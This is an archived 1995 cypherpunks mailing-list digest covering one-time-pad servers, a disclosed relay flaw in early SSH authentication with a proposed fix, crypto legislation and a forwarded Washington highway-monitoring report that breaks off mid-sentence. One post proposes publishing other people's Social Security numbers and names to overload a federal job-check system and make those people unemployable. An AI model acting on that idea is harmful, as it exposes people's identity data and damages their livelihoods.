From: Doug.Hughes at Eng.Auburn.EDU (Doug Hughes)
Date: Fri, 14 Jul 95 06:49:27 PDT
Subject: OTP server..
In-Reply-To: <9507140235.AA13456@snark.imsi.com>
Message-ID: <doug-9506141349.AA0110320@netman.eng.auburn.edu>



Perry Metzger writes:
>
>Doug Hughes writes:
>> How about WWW one time pad servers? You browse to your
>> favorite OTP server, which has a random number generator
>> running in the background. You tell it to give you a block
>> of X bytes, and mail it to persons 1, 2, 3, ... N.
>
>Do I get you wrong, or are you proposing the mailing of one time pads
>in the clear?
>
Not necessarily. It could be sent any number of different ways.
Heck, you could mail (email, US, fedex) a bunch of passphrases
or whatever to a site (as an extreme example) to xor with the random
number string. They send you the product, you xor with your passphrases
in the appropriate order, and you have the true random number string.
 Of course the feds could just get a court order and snarf all your
passphrases or keys if it was in this country. People would probably
be better off using a server in another country and having the pad
sent to them encrypted or hashed in some fashion.

>> Enough of these things would be REALLY tough to monitor...
>
>The NSA is willing to monitor virtually all international
>telecommunications traffic and try to figure out whats interesting. I
>doubt this poses much of a challenge to them. Not to mention the fact
>that it probably wouldn't pose much of a challenge to *me* given a set
>of wiretaps and I have virtually no resources...
>

What if we just call them random number servers? Does that make them
uninteresting? What if there are dozens or hundreds of them receiving
thousands or 10's of thousands of connections a day? (Of course this
couldn't happen overnight. :) )
 After all, there are plenty of good purposes to which you can put
a random number, but a OTP is probably suspicious enough to warrant
scrutiny.
 Maybe it's all too much work for too little value.  All you need is
one byte or int, or whatever to xor with the RN before it's send to
you over the length of the int. Securely getting these bytes/keys
to the server might be tricky. Maybe it's impossible.  US Mail is
still guaranteed to be private.. (don't everybody laugh at once. ;) )

 Okay, assuming that the OTP idea just won't fly, is a general purpose
random number generating web site, or internet service of interest?
It could be a useful thing for a seed for individuals who want to do
their own OTP-ing. (Hey stan, I'll get us both an RN from the server
on the net, XOR each byte with 0x3e and will use that as an OTP for
a secret message). For frequent use it might be a huge bust
because you'd need a secure channel to get a secure channel.

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug at eng.auburn.edu
		"Real programmers use cat > file.as"





From samman at CS.YALE.EDU  Fri Jul 14 06:51:42 1995
From: samman at CS.YALE.EDU (Rev. Ben)
Date: Fri, 14 Jul 95 06:51:42 PDT
Subject: Ssh security hole?
In-Reply-To: <199507132303.CAA18383@shadows.cs.hut.fi>
Message-ID: <Pine.A32.3.91.950714094431.11806J-100000@JAGUAR.ZOO.CS.YALE.EDU>


On Fri, 14 Jul 1995, Tatu Ylonen wrote:

> I think you are right in your analysis.  There is indeed a problem
> with RSA authentication.  Basically what this means is that if you log
> into a corrupt host, that host can at the same time log into another
> host with your account (by fooling you to answer to the request)
> provided that you use the same RSA identity for both hosts.

Bruce Schnier calls this the GrandMaster Problem in the Applied Crypto 
section on Zero Knowledge Authentication.

This can be skewed by requiring synchroneous transmissions within a very 
small synchronized time window.


Ben.
____
Ben Samman..............................................samman at cs.yale.edu
I have learned silence from the talkative, toleration from the intolerant,
and kindness from the unkind; yet, strange, I am ungrateful to those 
teachers.-- K. Gibran. SUPPORT THE PHIL ZIMMERMANN LEGAL DEFENSE FUND!
For information Email: zldf at clark.net       http://www.netresponse.com/zldf  

Original message follows:
_______________________________________________________________
> A workaround is to use a different identity for each host you use.
> The default identity can be specified on a per-host basis in the
> configuration file, or by -i options.
> 
> And, yes, I think the same problem might occur with client host
> authentication.  Though, there you would still have to do IP-spoofing,
> DNS spoofing or similar to get through (breaking RSA based host client
> effectively reduces RhostsRSAAuthentication to conventional .rhosts
> authentication).
> 
> The protocol will need to be changed somewhat because of this.  I'll
> think about it tomorrow and let you say you opinion about it.
> 
> Thanks!
> 
>     Tatu Ylonen <ylo at cs.hut.fi>
> 
> Date: Thu, 13 Jul 1995 13:08:15 -0700
> From: David Mazieres <mazieres at pa.dec.com>
> To: ssh-bugs at cs.hut.fi
> Cc: rtm at eecs.harvard.edu, dm at eecs.harvard.edu, tbl at eecs.harvard.edu
> Subject: Ssh security hole?
> 
> I believe there is a serious problem with the RSA authentication
> scheeme used in ssh, but then again I could be misreading the proposed
> RFC.  Is the following really the case?
> 
> As I understand the protocol, here is what happens during SSH_AUTH_RSA
> authentication.
> 
> Suppose the holder of SKu, is allowed access to account U on machine B
> (which holds SKb).  Both PKu and PKb are widely known.  In addition,
> machine B has a session key, PKs, which changes every hour.  When U on
> machine A wants to log into machine B, here's what I think happens
> based on my reading of the RFC:
> 
> A -> B: A
> 
> B -> A: (PKb, PKs, COOKIE)
> 	[A flags an error if PKb is not the stored value.]
> 
> A -> B: (COOKIE, {{Kab}_PKs}_PKb)
> A -> B: {U}_Kab
> A -> B: {PKu}_Kab
> 	[B aborts if SKu is not allowed access to account U.]
> 
> B -> A: {{N}_PKu}_Kab
> 
> A -> B: {{N}_MD5}_Kab (*)
> 	[B aborts if the MD5 hash is invalid.]
> 
> B -> A: access to acount U with all data encrypted by Kab.
> 
> The problem is, suppose U actually wanted to log into machine C, which
> was maintained by an untrusted person.  The person maintaining C could
> initiate a connection to B the minute U tried to log into C.  When
> given a challenge {{N}_PKu}_Kbc, C could simply give this to A as the
> challenge to respond to, and then forward the response to B.
> 
> To fix the problem, A must at the very least include B in the
> response line marked (*).  I have reason to believe (after having just
> seen a lecture on authentication), that you might even need to include
> more.  A safe bet might be (but then again I am no expert):
> 
> A -> B: {(N, A, B, Kab)}_MD5
> 
> I think similar problems arise for the other authentication methods.
> 
> Other than that, though, I am really impressed by by ssh.  It's easy
> to install and easy to use.  In fact, it is even more convenient to
> use than standard rsh, because the X forwarding happens
> automatically.
> 
> Thanks for such a great package!
> 
> David
> 





From samman at CS.YALE.EDU  Fri Jul 14 06:53:15 1995
From: samman at CS.YALE.EDU (Rev. Ben)
Date: Fri, 14 Jul 95 06:53:15 PDT
Subject: OTP server..
In-Reply-To: <Pine.3.89.9507131817.A10819-0100000@khijol>
Message-ID: <Pine.A32.3.91.950714095006.11806M-100000@JAGUAR.ZOO.CS.YALE.EDU>


On Thu, 13 Jul 1995, Ed Carp [khijol Sysadmin] wrote:

> On Fri, 14 Jul 1995, Black Unicorn wrote:
> 
> > >How about WWW one time pad servers? You browse to your
> > >favorite OTP server, which has a random number generator
> > >running in the background. You tell it to give you a block
> > >of X bytes, and mail it to persons 1, 2, 3, ... N.
> > 
> > I think you're trusting the server a GREAT deal.
> 
> Why is that?  The randomness of the data can be easily checked...

Because if the server is compromised to KEEP the data that it mails to 
you and those other people, you can have a PERFECTLY random OTP, and 
because of the particulars of XOR, your communication has been compromised.

Ben.
____
Ben Samman..............................................samman at cs.yale.edu
I have learned silence from the talkative, toleration from the intolerant,
and kindness from the unkind; yet, strange, I am ungrateful to those 
teachers.-- K. Gibran. SUPPORT THE PHIL ZIMMERMANN LEGAL DEFENSE FUND!
For information Email: zldf at clark.net       http://www.netresponse.com/zldf  






From pfarrell at netcom.com  Fri Jul 14 07:01:42 1995
From: pfarrell at netcom.com (Pat Farrell)
Date: Fri, 14 Jul 95 07:01:42 PDT
Subject: Fight, or Roll Over?
Message-ID: <36063.pfarrell@netcom.com>


In message Thu, 13 Jul 1995 16:12:16 -0700,
  tcmay at sensemedia.net (Timothy C. May)  writes:
>
> There was once talk, in April of '93, about the Washington, D.C.
> Cypherpunks group adopting "lobbying" as their own special focus area,
> with educational visits to Congressional aides and attendance at
> crypto-related hearings. Nothing came of this, for whatever reasons.

My cut on why it failed is that lobbying is too hard to do effectivly on a
part time basis, and those attending that the meeting realised it.

On a full time basis, lobbying is expensive, and requires that you raise
tons of money. The EFF found tons of money, and sponsored last year's
Digital Telephony disaster. He who pays the piper names the tune. EFF
got lots of corporate money, and "liked" the 94 DT bill.
So they're gone.

> say one thing: the leaders of EFF may have realized what a trap lobbying
> can become, and have chosen to instead focus on other areas.)

I read this in their actions too.

> Anyway, Cypherpunks is a worldwide, technological-oriented group. We can

Cypherpunks write code?

There is nothing vaguely pro-government about much of strong cryptography.
Tim's sig, fall of governments, and all that. Why should they listen to us?
Write code. Send money to EPIC and ACLU, let them lobby.

Pat

Pat Farrell    Grad Student      http://www.isse.gmu.edu/students/pfarrell
Info. Systems & Software Engineering, George Mason University, Fairfax, VA
PGP key available on homepage               #include <standard.disclaimer>





From samman at CS.YALE.EDU  Fri Jul 14 07:04:13 1995
From: samman at CS.YALE.EDU (Rev. Ben)
Date: Fri, 14 Jul 95 07:04:13 PDT
Subject: Legislation question...
In-Reply-To: <199507140331.AA07147@tyrell.net>
Message-ID: <Pine.A32.3.91.950714100142.11806T-100000@JAGUAR.ZOO.CS.YALE.EDU>


On Thu, 13 Jul 1995, Phil Fraering wrote:

> I may be a bit behind the times, but I have a question
> about the "ban crypto-anarchy" legislation as well as
> the Exon amendment:
> 
> Isn't legislation in this country supposed to start in the
> House and _then_ move to the Senate for approval?

Only ones that involve money.  The House was given the Power of the Purse 
by the original Constitutional Congress.

Ben.
____
Ben Samman..............................................samman at cs.yale.edu
I have learned silence from the talkative, toleration from the intolerant,
and kindness from the unkind; yet, strange, I am ungrateful to those 
teachers.-- K. Gibran. SUPPORT THE PHIL ZIMMERMANN LEGAL DEFENSE FUND!
For information Email: zldf at clark.net       http://www.netresponse.com/zldf  







From rsalz at osf.org  Fri Jul 14 07:51:03 1995
From: rsalz at osf.org (Rich Salz)
Date: Fri, 14 Jul 95 07:51:03 PDT
Subject: HR361
Message-ID: <9507141445.AA10682@sulphur.osf.org>


  Has anyone previously noted that HR361, the omnibus export
  administration act, would require the administration to assess the
  impact of the current crypto export controls on the software industry?

I don't recall seeing mention of it, but this has been planned for
awhile.  There were a couple of crypto surveys, one by private industry
(software publisher's association) and one by TIS for the gov't.  I think.

Both were mentioned in this list.
	/r$






From rsalz at osf.org  Fri Jul 14 08:19:00 1995
From: rsalz at osf.org (Rich Salz)
Date: Fri, 14 Jul 95 08:19:00 PDT
Subject: LD tentacle?
Message-ID: <9507141513.AA10727@sulphur.osf.org>


> From: jbass at dmsd.com (John L. Bass)

He is a long-long-time Unix hacker.  Designed the first file-locking
stuff (flock?) and gave it away to the Unix community.  Last I heard
was working on high-performance filesystems.
	/r$






From jya at pipeline.com  Fri Jul 14 08:19:30 1995
From: jya at pipeline.com (John Young)
Date: Fri, 14 Jul 95 08:19:30 PDT
Subject: MYS_fit
Message-ID: <199507141519.LAA15117@pipe3.nyc.pipeline.com>


   7-14-95. NYPaper Page Oner, longish:


   "2 Groups of Physicists Produce Matter That Einstein
   Postulated."

      By chilling a cloud of atoms to a temperature barely
      above absolute zero, scientists at a Colorado laboratory
      have at last created a bizarre type of matter that had
      eluded experimenters ever since its potential existence
      was postulated by Albert Einstein 70 years ago. The
      creation of this Bose-Einstein condensate -- named for
      Einstein, and the Indian theorist Satyendra Nath Bose --
      was hailed yesterday as the basis of a new field of
      research expected to explain some fundamental mysteries
      of atomic physics. A Texas group later produced similar
      results. The achievement should allow physicists to peer
      directly into the realm of the ultrasmall.     MYS_fit


   [This was also reported in The Economist of July 1.]








From jya at pipeline.com  Fri Jul 14 08:21:27 1995
From: jya at pipeline.com (John Young)
Date: Fri, 14 Jul 95 08:21:27 PDT
Subject: SEK_hep
Message-ID: <199507141521.LAA15320@pipe3.nyc.pipeline.com>


   7-14-95. NYPaper:


   "U.S. Spells Out Antitrust Inquiry Into Microsoft."

      The Justice Department said today that the Microsoft
      Corporation might well be violating antitrust laws by
      including software for its new on-line network in
      Windows 95, its much-anticipated operating system for
      personal computers.                            JUS_kid


   "Sting on Internet Leads to a Child Sex Case."

      In a case involving child pornography, the Internet and
      a self-appointed enforcer whom one critical defense
      lawyer calls an "electronic vigilante," a Nevada man is
      facing prison for crossing state lines with the
      intention of having sex with a 14 year-old girl he had
      met on a popular computer network.             SHE_dev


   [Editorial] "The Guns of Waco and Ruby Ridge."

      There is little doubt that the Federal Government
      contributed heavily to two of the biggest law
      enforcement fiascoes in recent memory. One was the
      disastrous 1993 Federal raid on the Branch Davidian
      compound at Waco, Tex. The other was the tragic 1992
      encounter between the F.B.I. and a band of white
      separatists at Ruby Ridge, Idaho.              LIT_bub



   3:  SEK_hep








From frissell at panix.com  Fri Jul 14 08:21:52 1995
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 14 Jul 95 08:21:52 PDT
Subject: Root Causes
Message-ID: <199507141521.LAA09745@panix.com>


At 08:42 PM 7/13/95 -0500, David K. Merriman wrote:

>Is there any precedence or possibility of either filing civil or criminal
>charges against a Government official for their _official_ actions?
>Something that will not only make for some Serious Press, but hit them from
>an unexpected angle?

Constitution of the US
 
Article 1, Section 6

(1.) The Senators and Representatives shall receive a Compensation for 
their Services to be ascertained by Law, and paid out of the Treasury of the 
United States. They shall in all Cases, except Treason, Felony and Breach 
of the Peace, be privileged from Arrest during their Attendance at the 
Session of their respective Houses, and in going to and returning from the 
same; and for any Speech or Debate in either House, they shall not be 
questioned in any other Place.


DCF







From paul at poboy.b17c.ingr.com  Fri Jul 14 08:36:26 1995
From: paul at poboy.b17c.ingr.com (Paul Robichaux)
Date: Fri, 14 Jul 95 08:36:26 PDT
Subject: So, where's the key?
Message-ID: <199507141533.AA17772@poboy.b17c.ingr.com>


-----BEGIN PGP SIGNED MESSAGE-----

The Cypherpunks Key-Cracking project is complete, but AFAIK no one's
reported the successful key. Either people haven't completed all the
key chunks they've signed out for, or something's wrong with our
methodology.

A third alternative is that the lucky lottery winner just missed the
results, and a fourth is that I just missed it.

- -Paul

- -- 
Paul Robichaux, KD4JZG       | Do you support free speech? Even when
perobich at ingr.com            | you don't like what's being said?
		 Be a cryptography user. Ask me how.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAaOQKfb4pLe9tolAQF8EgQApwrvjBHEPkI2VWG9NaaFU4yHKtkj9EZX
ok3xvAfIYslKqPOJ1nJH9KBxBxNk7Dk8xMPxfnfGzPWyUqwLyeBofSdTxTmWf+An
6OiVeT4RLLIJadQbunJHhXZHq7sdOH7HKQ8SpvGSXC0/ZT1XAPOjf6swBBC0LRWS
Rb8wlPCy4zs=
=cKVs
-----END PGP SIGNATURE-----





From frissell at panix.com  Fri Jul 14 08:51:06 1995
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 14 Jul 95 08:51:06 PDT
Subject: Proposed SS#/Federal Job Licensing DOS Attack
Message-ID: <199507141550.LAA15525@panix.com>


On another subject entirely...

I have naturally been concerned about the Feds' proposal to set up
a national job licensing system.  In order to protect us from
hordes of illegals, they have suggested that employers be required
to check SS#-True Name matches before employment could begin.

This amounts to requiring federal permission for the 55 million 
annual job changes.  Initially, it is supposed to be restricted to
checking SS# validity, name match, and non multiple use.  Later (as with
driver's licenses) they will add restrictions having to do with tax
compliance, child support compliance, library fine compliance, etc.
After all, we wouldn't want tax evading, deadbeat dad, library
scofflaws working in Amerika, would we?

This suggests am interesting Denial of Service (DOS) attack.  If
you published your own or others' SS#-True Name pairs on a public
forum (currently completely legal BTW), multiple use could be 
encouraged, the TrueNames would become unemployable, and interesting
litigation would result.  If done enough, systemic breakdown would
occur.

I am anxious to see the regs (they are just at the talking stage) to
see how they handle "exceptions" like thus.

DCF

"Who in spite of the fact that he has changed jobs since November 1986, has
yet to fill out an I-9 form.  He *loves* contract employment." 





From terrell at sam.neosoft.com  Fri Jul 14 09:48:09 1995
From: terrell at sam.neosoft.com (Buford Terrell)
Date: Fri, 14 Jul 95 09:48:09 PDT
Subject: Fight, or Roll Over?
Message-ID: <199507141652.LAA20979@sam.neosoft.com>


Doug Barnes wrote:>
>This means, for those not reading between the lines, doing something
>more than online ranting and petition-signing, such as getting out the
>checkbook and supporting those who are organized to fight these things,
>and actually getting off the dime and doing things like writing letters,
>sending telegrams, and otherwise harassing our elected beings through
>media that they understand (since, clearly, they _don't_ understand
>the Internet -- if they did, they wouldn't propose legislation like this.)
>
>Yes, the "bad guys" can crank out unfriendly legislation faster than
>the "good guys" can fight it, but since we are clearly not ready to offer
>technological solutions this month, the "good guys" act as a valuable
>brake on this current swing of the pendulum.
>
Cypherpunks can do more by being cypherpunks.  Your keyboards are
better weapons than checkbooks in this case.  Why isn't PGP so simple
that every luzer on AOL will use it without thinking?  Why hasn't
the NetScape key been broken?  Prove these proposed laws are just as
silly and ineffective as they look by demonstrating it.

Lots of people will attack these laws on legal grounds, and you should
too if your conscience so moves you, but very few have the
capabilities to attack them on technical grounds where their
vulnerabilities are real, not just a matter of opinion.

Buford C. Terrell                       1303 San Jacinto Street
Professor of Law                              Houston, TX 77002
South Texas College of Law                voice   (713)646-1857
terrell at sam.neosoft.com                     fax   (713)646-1766






From vznuri at netcom.com  Fri Jul 14 09:50:49 1995
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 14 Jul 95 09:50:49 PDT
Subject: highway monitoring
Message-ID: <199507141649.JAA27462@netcom17.netcom.com>


some info on highway monitoring/tracking programs starting up..
all with major privacy implications...

------- Forwarded Message
Date: Mon, 10 Jul 1995 18:40:55 -0700
From: Phil Agre <pagre at weber.ucsd.edu>
To: rre at weber.ucsd.edu
Subject: Intelligent Vehicle-Highway Systems   (60K bytes)

[Frank Durand is a concerned citizen in Washington State who is
campaigning to require public discussion before the state adopts a
far-reaching "intelligent vehicle-highway systems" plan.  Some of the
state's plans raise questions about privacy (among other things).  He
recently sent me the enclosed document, which he got from Peter Marshall
<rocque at seanews.akita.com> from KSER Public Affairs in Seattle.  It is
a status report on the state Department of Transportation's advanced
technology projects, and it conveys a vivid sense of how the bureaucrats
and their industry partners are thinking.  I would encourage everybody
to call up their local state (or provincial or national) Department of
Transportation or regional transportation authority, ask to speak to
the expert on IVHS (or, in most countries besides the US, "transport
informatics"), and politely ask for the current status report on that
jurisdiction's advanced transportation technology projects.  (If they
tell you it doesn't exist, they're confused or playing bureaucratic games.
Perhaps you didn't ask for it by the right name.  Persist.)  See if you
can get the report in electronic form; otherwise get it in paper form and
get someone to scan it.  The potential privacy problems with these systems
can all be solved without significant sacrifices in functionality or cost,
so far as I can tell, through suitable choices of technology -- provided
the people in charge have been sensitized to the issues and persuaded to
take the effort to do it in the right way rather than the convenient way.
This is an urgent issue -- these plans are getting set in stone throughout
most of the world RIGHT NOW.  Let me know what you come up with.  ITS
America, by the way, is the trade association of US IVHS suppliers; it is
also an advisory board to the US Department of Transportation.  I'll be
leaving for a meeting on IVHS privacy issues at ITS America on July 22nd.
If you come up with any relevant information, it would be great if you
could send it to me by then.  Or else post details on the Privacy Digest,
privacy at vortex.com.  -- Phil Agre, pagre at ucsd.edu]

Date: Thu, 29 Jun 1995 13:57:15 -0700
From: fwd at ix.netcom.com (Franklin W. Durand)
To: pagre at ucsd.edu
Subject: Washington IVHS Status Report - June 1995

[...]

P.S.  Here is a little interesting trivia (some you know) regarding 
Washington State's links to ITS America: 

* Jack Kay is Chair of ITS America's Executive Committe - JHK & Associates   
wrote "Venture Washington" for WSDOT.

* Les Jacobson is  Chair of ITS America's ATMS Technical Committee - Les 
Jacobsen is in Seattle and work for WSDOT.

* Walter Zavoli of Etak is Chair ITS America's Personal Portable Advanced 
Travelor Information Systems Technical Committee - Etak is in partnership 
with WSDOT, Metro (Seattle), IBM and Delco on the SWIFT Project (Seattle Wide 
Area Information Technology) in Seattle which received and $7 million USDOT 
grant for the project.

* Lawrence Yermack of Parson Brinkerhoff International is Chair of ITS 
America's ETTM (Electronic Toll and Traffic Management) Technical Committee
- - - Parsons Brinkerhoff is one of the partners in Washington Transportation 
Partners (developers for the Evergreen Point Bridge Project in Seattle).

- - ------------------------------------------------------------------------------


Advanced Technology Branch Status Report	1	June, 1995

Status Report
of Active Projects
June 1995

WSDOT
Advanced Technology Branch
Washington State Transportation Center
Mail Stop 354802
1107 NE 45th Street, Suite 535
Seattle, WA  98105-4631
(206) 543-3331
Fax (206) 685-0767

ADVANCED TECHNOLOGY BRANCH 
Status Report of Active Projects
Washington State Department of Transportation
JUNE 1995
Table of Contents
HOV, TDM, and Related Projects	1
Travel Time Video Test	1
I-90 Lane Conversion.	1
HOV Lane Evaluation and Monitoring.	2
HOV Lane Evaluation and Monitoring (Phase II).	2
I-5 South HOV Lane Accident Analysis	3
Intercounty Carpool Profile.	3
An Analysis of Factors Accounting for Successes and Failures in the 
Acceptance and Utilization of Employer-Based TDM Programs.	3
Incident Management Projects	3
Incident Response Data Base.	3
Evaluation and Application of Washington State's Incident Response Guide.	4
Incident Management Training for WSDOT Personnel.	4
The Use of Total Station Surveying Equipment for Accident Investigation: 
A National Perspective.	4
ITS Projects	4
North Seattle Advanced Traffic Management System	4
BusView	5
Traffic Data Acquisition and Distribution (TDAD)	5
Puget Sound Help Me (PuSHME) Operational Test	5
A Real Time Traveler Information System for Reducing Urban Freeway 
Congestion, Expansion, Implementation, and Evaluation.	5
Improved Congestion Prediction Algorithm.	6
Improved Error Detection and Incident Detection Using Prediction 
Techniques and Video Imaging.	6
Bellevue Smart Traveler Using Traveler Information to Reduce Downtown SOV 
Commuting.	6
In-Vehicle Signing and Variable Speed Limit Demonstration.	7
Seattle to Portland Inter-city IVHS Corridor Study and Communication Plan	7
Portland to Boise ITS Corridor Study	7
Seattle to Vancouver, B.C., and Seattle to Spokane ITS Corridor Study	8
Assessment of ATIS in Washington State.	8
IVHS Data and Information Structure.	8
Investigation of Video Image Tracking.	8
IVHS Backbone Design and Demonstration.	9
Demonstration of ATIS/ATMS Data Fusion in a Regional IVHS.	9
IVHS - Network and Data Fusion.	9
Investigation of Automatic Vehicle Location Systems for Traveler 
Information.	9
Ramp Control via Neural Network Control.	9
Fuzzy Logic Ramp metering.	10
SWIFT - Seattle Wide-area Information For Travelers.	10
SWIFT Smart Traveler.	10
NEXRAD NEXt Generation Weather RADar.	10
Increasing Awareness of Transportation Options Through Riderlink.	10
Community Transit Arterial System Area-Wide Priority (CT ASAP)	11
Additional ITS Projects	11
Regional Automated Trip Planning.	11
Regional Ridematch.	11
Regional Ridematch Hotline.	11
Regional Fare Integration Project.	11
Smart Bus.	12
Other Projects	12
Traffic Congestion Monitoring-Urban Areas.	12
ENTERPRISE.	12
Accident Risks Using Roadway Geometrics.	13
Advanced Transportation Technology Application Policy Plan.	13

ADVANCED TECHNOLOGY BRANCH 
Status Report of Active Projects
Washington State Department of Transportation
June 1995
At the beginning of each project description, one or two names are listed 
to call for further information.  The first name is the WSDOT TRAC person 
or the Metro person.  When a second name is listed, it is usually the 
principal investigator (P.I.).  The phone numbers for each person follow:

PHONE NUMBERS	phone number
WSDOT TRAC	
Pete Briglia		(206) 543-3331
Morgan Balogh	(206) 543-0078
Eldon L. Jacobson	(206) 685-3187
Bill Legg		(206) 543-3332
Larry Senn		(206) 543-6741
U.W./W.S.U.  P.I.	
Earl Butterfield	(206) 685-2123
Dan Dailey		(206) 543-2493
Mark Hallenbeck	(206) 543-6261
Mark Haselkorn	(206) 543-2577
Fred Mannering	(206) 543-8935
Nancy L. Nihan	(206) 543-9639
G. Scott Rutherford	(206) 685-2481
Jan Spyridakis	(206) 685-1557
Cy Ulberg		(206) 543-0365
Deirdre Meldrum	(206) 685-7639
Tom Seliga		(206) 685-7092
King County Metro	
Catherine Bradshaw(206) 684-1770
Wayne Watanabe	(206) 684-1633
Roland Bradley	(206) 689-3490
Candace Carlson	(206) 684-1562
David Cantey	(206) 684-6794

Each of the following project descriptions includes recent changes in 
bold face type, usually at the end of each report, while previously 
reported information has been changed to unbold.


.c.HOV, TDM, and Related Projects

%	.c.Travel Time Video Test.;  (Eldon L. Jacobson) This project is 
studying the use of high resolution video cameras and computer software 
that subsequently analyzes the video tapes to compute vehicle travel 
times using the matching license plate method.  WSDOT has arranged for 
Transformation Systems, Inc., of Houston, Texas to perform the work.  The 
field work will be done during June 19-22, 1995, with the analysis and 
the report received about a month later.  We will be looking at travel 
times between HOV lanes and GP lanes.

%	.c.I-90 Lane Conversion.;  (Eldon L. Jacobson or Fred Mannering) 
This project studied the impacts of converting a general purpose lane to 
an HOV lane on I-90 between Issaquah and Eastgate (sometimes called 
take-a-lane).  The westbound conversion (and added lane) was fully 
operational on December 6, 1993.  During January, 1994, the lane 
configuration was revised in the Mercer Slough area, creating a 
bottleneck section on westbound I-90 that has two general purpose lanes 
plus the HOV lane.  After a couple of months the complaints quieted, and 
people appear to have become used to the situation.  On June 27, 1994, 
westbound I-90 ramp metering was implemented.  Some video tape for the 
RafterS data survey was collected the week before the ramp meter 
turn-on.  The draft report was circulated for review late November, 
1994.  Comments have been incorporated into the final report by the P.I.  
The final report is complete and has been published.  Project complete.

%	.c.HOV Lane Evaluation and Monitoring.;  (Eldon L. Jacobson or Cy 
Ulberg) This project will produce the first annual (July, 1992 thru June, 
1993) HOV system evaluation, on the basis of the methodology developed in 
the above project.  It is important to periodically monitor and evaluate 
existing HOV lanes in order to make decisions about the operation of 
existing HOV lanes and about the best location to construct future HOV 
lanes.  The evaluation will consider HOV lane usage, violations, safety, 
time savings, capacity improvements, modal shifts, route shifts, 
enforcement issues, cost effectiveness, and public opinion.
The project will build on existing information to construct a database 
for evaluation of HOV lanes.  Quarterly, annual, and biennial reports 
will be published.  At the end of the research, recommendations will be 
made about the type of data necessary to do an HOV lane evaluation, the 
data collection methodology, what agencies should be involved in HOV lane 
evaluations, and the timing and format of HOV evaluation reports.
Surveys for I-5 South of Seattle (the Southcenter hill area to Midway) 
were mailed out to motorists the week of February 10, 1992.  Opinion 
surveys for Metro bus drivers in the I-5 South corridor were handed out 
in late, February, 1992, and returned in early March, 1992.  All surveys 
have been tabulated and summarized.
Data collection is now proceeding throughout the Seattle area.  In 
addition to obtaining travel time and vehicle occupancy in the freeway 
mainline, vehicle occupancy is also being obtained at some ramps.  Ramps 
are usually easier to monitor, and should reflect occupancy changes 
sooner than the higher volumes on the mainline.
This project was supplemented to evaluate the change from a 3 person 
carpool definition to a 2 person carpool definition on I-5 north of the 
Seattle CBD.  The draft report for the 2+ demo (prepared by TRAC and TTI) 
was received on January 27, 1992.  The final report for the 2+ demo is 
now available.  Contact Eldon if you want a copy.  The results indicate 
that vehicle occupancy decreased, reliability decreased and travel time 
increased in the northbound direction, much of the driving public 
approves of 2+, and there was no evidence that the project affected 
accident rates.  The steering committee made three recommendations.  
First, the results of the demonstration project do not support existing 
policies.  Second, the 2+ should revert to 3+ after a minimum 60 day 
period.  Third, future occupancy requirement decisions should be based on 
a performance standard that measures speed and reliability.
A second supplemental project to the original project was funded.  This 
second project developed a performance standard that measures speed and 
reliability.  The intention was to have an easily measured reliability 
standard for HOV lanes, which could be used when considering revising the 
carpool definition for a particular HOV corridor.  During April and May, 
1992, data collection was done on the I-5 North corridor that was used in 
developing the standard.  A performance standard was adopted by the WSDOT 
HOV Policy Board on August 13, 1992.  It reads:  "HOV lane vehicles 
should maintain or exceed an average of 45 miles per hour or greater at 
least 90 percent of the times they use that lane during the peak hour 
(measured for a consecutive six-month period)."
Collection of data continues throughout the area during each Monday to 
Friday peak period at about 20 different sites.  The draft report was 
distributed before the end of March, 1994.  Review comments have been 
received and the report has been revised.  The final report was shipped 
to the Research Office for printing in December, 1994.  Eldon got the 
final report back to fix some page numbering problems and returned it to 
the Research Office on February 8, 1995.  Final report complete.  Project 
complete.

%	.c.HOV Lane Evaluation and Monitoring (Phase II).;  (Eldon L. 
Jacobson or CyJUlberg)  This is the ongoing data collection and reporting 
project.  Auto occupancy data are being collected every morning and 
evening peak period Monday through Friday.  A 486 computer with a high 
capacity hard drive has been acquired to aid in the data analysis and 
storage.  A two page legislative briefing report has been prepared.  It 
will be distributed (probably in the Ex*Press) with changes and updates 2 
or 3 times a year.  Quarterly data updates are being prepared, which will 
update one of the appendices in the final report described in the 
previous project.  The initial quarterly report is complete (this will 
actually add the 6 quarters that follow the 4 quarters in Appendix B of 
the report in the previous project).

%	.c.I-5 South HOV Lane Accident Analysis;  (Eldon L. Jacobson)  
This is an in-house project to analyze the before and after accident 
information for the HOV lane termination area at the top of the 
Southcenter hill.  The accident data was provided by the Northwest 
Region.  A draft report was circulated on June 1, 1994, and review 
comments are being received.

%	.c.Intercounty Carpool Profile.;  (Eldon L. Jacobson or Cy 
Ulberg) This project will provide knowledge of why people choose to ride 
share.  The primary method to acquire information about a broad range of 
carpools in the two-county region (Snohomish and King counties) will rely 
on surveys of a random sample of people observed in carpools on selected 
freeways, arterials, and streets.  A large number of surveys (on the 
order of 1000) will be conducted by mail, and they may include small 
incentives to encourage a high return rate.  A follow-up survey will be 
conducted after one year.  A smaller sample will be contacted for more 
intensive personal interviewing (focus groups).  This project will be 
used to enhance the HOV 2+ evaluation.  The project match will come from 
that project in order to direct questions toward the carpool definition 
change.  WeUre waiting for the funds to be released by Metro to start the 
project.  The funds have been released and a U.W. budget number assigned 
to the project.  An initial literature review has been done.  Carpool 
license plates have been collected and the public opinion survey is being 
finalized for printing.  The survey was printed and mailed out in June, 
1994.  Surveys have been returned and have been coded for analysis.  The 
project has been put on hold until early 1995, as the graduate student 
who is working on the project, Matt Benuska, is studying for three months 
in South Korea.

%	.c.An Analysis of Factors Accounting for Successes and Failures 
in the Acceptance and Utilization of Employer-Based TDM Programs.;  (Bill 
Legg or Cy Ulberg) This project will carefully investigate the processes 
that companies employ to implement TDM programs.  It will develop a model 
of the factors that influence employee's attitudes and lead to actual 
changes in commuting behavior and will be useful to employers throughout 
the state in designing and implementing successful TDM programs.  The 
project will be coordinated with the State Energy Office and to bolster 
the work currently being undertaken because of the commute trip reduction 
legislation.  The scope of work was developed in cooperation with Metro 
and the Energy Office.  A new element  of the project will be the 
addition of a consultant to look at a proactive program for multi- site 
employers to shift personnel around so employees are working at the site 
nearest their home.  
The draft final report has been completed and has been distributed for 
review and comment.  This project has be given a $95,000 supplement for a 
proximate commuting study.  This study has been initiated and a detailed 
evaluation plan is now being developed.  Proximate commuting is the 
